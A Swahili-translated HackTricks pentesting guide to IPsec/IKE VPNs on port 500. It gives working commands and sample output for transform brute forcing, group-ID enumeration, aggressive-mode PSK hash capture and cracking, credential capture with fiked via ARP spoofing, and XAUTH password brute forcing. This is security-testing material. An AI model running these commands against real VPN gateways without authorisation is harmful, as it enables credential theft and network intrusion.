18 KiB
500/udp - Kupima Usalama wa IPsec/IKE VPN
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Kikundi cha Usalama cha Kujaribu Kwa Bidii
{% embed url="https://discord.gg/tryhardsecurity" %}
Taarifa Msingi
IPsec inatambuliwa sana kama teknolojia kuu ya kusimamia mawasiliano kati ya mitandao (LAN-kwa-LAN) na kutoka kwa watumiaji wa mbali hadi kwenye lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.
Kuanzishwa kwa umoja wa usalama (SA) kati ya sehemu mbili hukamilishwa na IKE, ambayo hufanya kazi chini ya ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa:
- Hatua ya 1: Kituo salama kinajengwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Kitufe cha Awali-Kushirikiwa (PSK) au vyeti, ikichukua njia ya mode kuu, ambayo inahusisha jozi tatu za ujumbe, au mode ya kishupavu.
- Hatua ya 1.5: Ingawa sio lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji Iliyozidishwa, inathibitisha utambulisho wa mtumiaji anayejaribu kuunganisha kwa kuhitaji jina la mtumiaji na nywila.
- Hatua ya 2: Hatua hii inajitolea kwa majadiliano ya vigezo vya kusimamia data na ESP na AH. Inaruhusu matumizi ya algoritimu tofauti na zile katika Hatua ya 1 kuhakikisha Usiri wa Mbele Kamili (PFS), kuimarisha usalama.
Bandari ya chaguo: 500/udp
Gundua huduma kwa kutumia nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Kupata ubadilishaji halali
Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. Kila ubadilishaji una sifa kadhaa kama vile DES au 3DES kama algoritimu ya kuchipua, SHA au MD5 kama algoritimu ya ukweli, funguo iliyoshirikiwa mapema kama aina ya uthibitishaji, Diffie-Hellman 1 au 2 kama algoritimu ya usambazaji wa funguo na sekunde 28800 kama maisha.
Kwa hivyo, jambo la kwanza unalopaswa kufanya ni kupata ubadilishaji halali, ili server itazungumza nawe. Ili kufanya hivyo, unaweza kutumia zana ya ike-scan. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja lenye ubadilishaji nane ndani yake.
Kulingana na majibu unaweza kupata habari fulani kuhusu mwisho wa mawasiliano:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Kama unavyoona kwenye jibu lililopita, kuna uga unaitwa AUTH wenye thamani ya PSK. Hii inamaanisha kuwa vpn imeboreshwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta).
Thamani ya mstari wa mwisho pia ni muhimu sana:
- 0 returned handshake; 0 returned notify: Hii inamaanisha lengo si geti la IPsec.
- 1 returned handshake; 0 returned notify: Hii inamaanisha lengo limeboreshwa kwa IPsec na liko tayari kufanya majadiliano ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika (mabadiliko halali yataonyeshwa kwenye matokeo).
- 0 returned handshake; 1 returned notify: Geti za VPN hujibu kwa ujumbe wa arifu wakati hakuna mabadiliko yanayokubalika (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribu).
Kwa hivyo, katika kesi hii tayari tuna mabadiliko halali lakini ikiwa uko kwenye kesi ya 3, basi unahitaji kuvunja kidogo ili kupata mabadiliko halali:
Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
Na kisha jaribu kila moja kwa kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza jaribu nguvu ile ile lakini ukitumia mode ya kushambulia:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Matarajio ya mabadiliko halali yanarudishwa.
Unaweza kujaribu shambulio sawa ukitumia iker.py.
Pia unaweza kujaribu kubadilisha nguvu za mabadiliko na ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
Katika Kikundi cha DH: 14 = 2048-bit MODP na 15 = 3072-bit
2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa --trans
ni $Enc,$Hash,$Auth,$DH
Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja encryption ya data inayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja codes haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyofichwa kwa wakati halisi ikiwa inatumia kikundi ambacho sio imara (kama 1,024-bit au ndogo).
Uchunguzi wa Fingerprint ya Seva
Kisha, unaweza kutumia ike-scan kujaribu kugundua muuzaji wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita chambua tofauti ya wakati kati ya ujumbe uliopokelewa kutoka kwa seva na mfano wa majibu yanayolingana, mpenyeji wa mtihani anaweza kufanikiwa kugundua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia malipo ya Kitambulisho cha Muuzaji (VID) ya hiari pamoja na IKE.
Taja uongofu halali ikihitajika (ukitumia --trans)
Ikiwa IKE itagundua ni muuzaji yupi, itachapisha hii:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Hii inaweza pia kufanikishwa na hati ya nmap ike-version
Kupata ID sahihi (jina la kikundi)
Ili kuruhusiwa kukamata hash unahitaji uongofu halali unaounga mkono Aggressive mode na ID sahihi (jina la kikundi). Labda hutajua jina sahihi la kikundi, hivyo utalazimika kulazimisha.
Kufanya hivyo, ningependekeza njia 2:
Kulazimisha ID na ike-scan
Kwanza kabisa jaribu kutuma ombi na ID bandia ukitaka kukusanya hash ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Ikiwa hashi haijarejeshwa, basi labda njia hii ya kujaribu nguvu itafanya kazi. Ikiwa hashi fulani imerejeshwa, hii inamaanisha kwamba hashi bandia itatumwa kwa kitambulisho bandia, kwa hivyo njia hii haitakuwa ya kuaminika kwa kujaribu nguvu kitambulisho. Kwa mfano, hashi bandia inaweza kurudishwa (hii hutokea katika toleo za kisasa):
Lakini kama nilivyosema, ikiwa hashi haijarejeshwa, basi unapaswa kujaribu nguvu majina ya vikundi vya kawaida kwa kutumia ike-scan.
Script hii itajaribu kujaribu nguvu vitambulisho vinavyowezekana na itarejesha vitambulisho ambapo handshake halali imerejeshwa (hii itakuwa jina la kikundi halali).
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ike-scan. Na ikiwa umegundua ubadilishaji kadhaa jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja yao ifanye kazi vizuri).
Unaweza kutumia orodha ya ikeforce au ile katika seclists ya majina ya kikundi cha kawaida kujaribu nguvu:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Kuvunja ID kwa Iker
iker.py pia hutumia ike-scan kuvunja nguvu majina ya vikundi vinavyowezekana. Inafuata njia yake ya kupata ID halali kulingana na matokeo ya ike-scan.
Kuvunja ID kwa ikeforce
ikeforce.py ni chombo kinachoweza kutumika kwa kuvunja nguvu IDs pia. Chombo hiki kitajaribu kutumia mapungufu tofauti ambayo yanaweza kutumika kutofautisha kati ya ID halali na isiyo halali (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana).
Kwa chaguo-msingi ikeforce itatuma mwanzoni baadhi ya vitambulisho vya kubahatisha kuchunguza tabia ya seva na kubaini mkakati wa kutumia.
- Njia ya kwanza ni kuvunja nguvu majina ya vikundi kwa kutafuta habari za Dead Peer Detection DPD za mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kikundi ni sahihi).
- Njia ya pili inapatikana ni kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika.
- Njia ya tatu inajumuisha kutafuta "INVALID-ID-INFORMATION" kama jibu kwa ID isiyo sahihi.
- Hatimaye, ikiwa seva haionyeshi chochote kwa ukaguzi, ikeforce itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani.
Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata PSK unapokuwa na kitambulisho halali. Kisha, ukiwa na kitambulisho na PSK utalazimika kuvunja nguvu XAUTH (ikiwa imewezeshwa).
Ikiwa umegundua ubadilishaji maalum wa kuongeza katika amri ya ikeforce. Na ikiwa umegundua ubadilishaji kadhaa jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kuyajaribu yote hadi moja itakapofanya kazi ipasavyo).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Kunasa Kitambulisho (Sniffing ID)
(Kutoka kwenye kitabu Tathmini ya Usalama wa Mtandao: Tambua Mtandao Wako): Pia niwezekanavyo kupata majina ya watumiaji halali kwa kunasa uhusiano kati ya mteja wa VPN na seva, kwani pakiti ya mode ya kushambulia ya kwanza inayotumia kitambulisho cha mteja hutumwa wazi
Kukamata na Kuvunja Hash
Hatimaye, Ikiwa umepata ubadilishaji halali na jina la kikundi na ikiwa mode ya kushambulia inaruhusiwa, basi unaweza kwa urahisi kabisa kukamata hash inayoweza kuvunjika:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Hash itahifadhiwa ndani ya hash.txt.
Unaweza kutumia psk-crack, john (ukiitumia ikescan2john.py) na hashcat kwa kuvunja hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE inayounganishwa na Pre-Shared Key (PSK) mara nyingi hutumiwa kwa madhumuni ya uthibitishaji wa kikundi. Mbinu hii inaongezewa nguvu na XAuth (Uthibitishaji Uliopanuliwa), ambao husaidia kuongeza safu ya ziada ya uthibitishaji wa mtumiaji. Uthibitishaji kama huu kawaida hutegemea huduma kama Microsoft Active Directory, RADIUS, au mifumo inayofanana.
Kuongezeka kwa IKEv2, mabadiliko muhimu yanazingatiwa ambapo EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa) hutumiwa badala ya XAuth kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki za mawasiliano salama.
MitM ya mtandao wa ndani kwa ajili ya kukamata siri za kuingia
Hivyo unaweza kukamata data ya kuingia kwa kutumia fiked na kuona kama kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa fiked
kwa ajili ya kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, maelezo zaidi). Fiked itafanya kazi kama mwisho wa VPN na itakamata siri za XAuth:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Kujaribu kuvunja jina la mtumiaji na nenosiri la XAUTH kwa kutumia ikeforce
Kutumia XAUTH (unapojua jina la kikundi cha id halali na psk), unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Hivi, ikeforce itajaribu kuunganisha kwa kutumia kila kombinisheni ya jina la mtumiaji: nenosiri.
Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi itumie kama ilivyokuwa katika hatua za awali.
Uthibitisho kwa kutumia VPN ya IPSEC
Katika Kali, VPNC hutumiwa kuanzisha mizunguko ya IPsec. Profaili lazima zipatikane katika saraka /etc/vpnc/
. Unaweza kuanzisha profaili hizi kwa kutumia amri vpnc.
Amri na mipangilio ifuatayo inaeleza mchakato wa kuweka uhusiano wa VPN na VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
Katika usanidi huu:
- Badilisha
[VPN_GATEWAY_IP]
na anwani halisi ya IP ya lango la VPN. - Badilisha
[VPN_CONNECTION_ID]
na kitambulisho cha uhusiano wa VPN. - Badilisha
[VPN_GROUP_SECRET]
na siri ya kikundi cha VPN. - Badilisha
[VPN_USERNAME]
na[VPN_PASSWORD]
na sifa za uthibitishaji wa VPN. [PID]
inamaanisha kitambulisho cha mchakato ambacho kitapewa wakativpnc
inaanzisha.
Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati wa kusanidi VPN.
Vifaa vya Marejeleo
- Karatasi ya kuvunja PSK
- SecurityFocus Infocus
- Kuchunguza Utekelezaji wa VPN
- Tathmini ya Usalama wa Mtandao ya Toleo la 3
Shodan
bandari:500 IKE
Kikundi cha Usalama cha Kujaribu Kwa Bidii
{% embed url="https://discord.gg/tryhardsecurity" %}
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.